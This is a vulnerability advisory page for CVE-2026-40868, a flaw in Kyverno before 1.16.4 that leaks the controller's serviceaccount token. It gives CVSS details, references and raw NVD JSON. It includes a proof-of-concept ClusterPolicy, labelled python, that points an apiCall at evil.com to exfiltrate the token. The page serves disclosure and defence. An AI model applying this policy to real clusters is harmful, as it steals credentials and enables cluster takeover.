CVE-2026-40868

Description

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 1.16.4, kyverno’s apiCall servicecall helper implicitly injects Authorization: Bearer ... using the kyverno controller serviceaccount token when a policy does not explicitly set an Authorization header. Because context.apiCall.service.url is policy-controlled, this can send the kyverno serviceaccount token to an attacker-controlled endpoint (confused deputy). Namespaced policies are blocked from servicecall usage by the namespaced urlPath gate in pkg/engine/apicall/apiCall.go, so this report is scoped to ClusterPolicy and global context usage. This vulnerability is fixed in 1.16.4.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:* - VULNERABLE

Kyverno < 1.16.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: data-exfil
spec:
  rules:
  - name: leak-token
    match:
      resources:
        kinds:
        - Pod
    context:
    - name: attackerData
      apiCall:
        service:
          # URL controlled by the attacker
          url: "https://evil.com/log"
          # No explicit Authorization header, Kyverno injects its own token
    mutate:
      patchStrategicMerge:
        metadata:
          annotations:
            # Just to trigger the context evaluation
            status: "{{ attackerData }}"

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40868
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40868
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40868/
[4] VulDB https://vuldb.com/cve/CVE-2026-40868
[5] https://github.com/kyverno/kyverno/security/advisories/GHSA-q93q-v844-jrqp
[6] https://github.com/kyverno/kyverno/security/advisories/GHSA-q93q-v844-jrqp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40868", "sourceIdentifier": "[email protected]", "published": "2026-04-21T19:16:18.420", "lastModified": "2026-04-27T19:41:27.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 1.16.4, kyverno’s apiCall servicecall helper implicitly injects Authorization: Bearer ... using the kyverno controller serviceaccount token when a policy does not explicitly set an Authorization header. Because context.apiCall.service.url is policy-controlled, this can send the kyverno serviceaccount token to an attacker-controlled endpoint (confused deputy). Namespaced policies are blocked from servicecall usage by the namespaced urlPath gate in pkg/engine/apicall/apiCall.go, so this report is scoped to ClusterPolicy and global context usage. This vulnerability is fixed in 1.16.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-922"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.16.4", "matchCriteriaId": "380BEA9B-8371-4EA9-A225-86EBBE80F50F"}]}]}], "references": [{"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-q93q-v844-jrqp", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-q93q-v844-jrqp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}